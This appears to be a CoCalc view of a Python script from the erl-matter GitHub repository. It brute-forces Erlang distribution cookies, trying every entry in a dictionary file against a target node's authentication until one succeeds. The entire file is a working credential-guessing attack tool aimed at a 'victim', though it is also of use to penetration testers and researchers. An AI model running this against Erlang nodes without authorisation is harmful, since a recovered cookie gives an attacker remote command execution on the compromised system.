Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gteissier
GitHub Repository: gteissier/erl-matter
Path: blob/master/dictionary-erldp.py
271 views
1
#!/usr/bin/env python3
2
3
import asyncio
4
from erldp import authenticate
5
6
import sys
7
import argparse
8
9
parser = argparse.ArgumentParser(description='Tests every cookie value in dictionary against victim, to successfully complete authentication.')
10
11
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
12
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
13
parser.add_argument('dictionary', action='store', type=str, help='Dictionary of Erlang cookies to test')
14
parser.add_argument('--delay', type=float, default=0.0, help='Amount of seconds (float) to sleep between attempts')
15
16
args = parser.parse_args()
17
18
f = open(args.dictionary, 'rb')
19
cookies = [l.rstrip(b'\n') for l in f.readlines()]
20
21
async def amain(args, cookies):
22
n_cookies = len(cookies)
23
24
for i in range(len(cookies)):
25
cookie = cookies[i]
26
27
success = await authenticate(args.target, args.port, cookie)
28
if success:
29
print('\n[*] found cookie %r' % cookie)
30
break
31
32
await asyncio.sleep(args.delay)
33
34
asyncio.run(amain(args, cookies))
35
36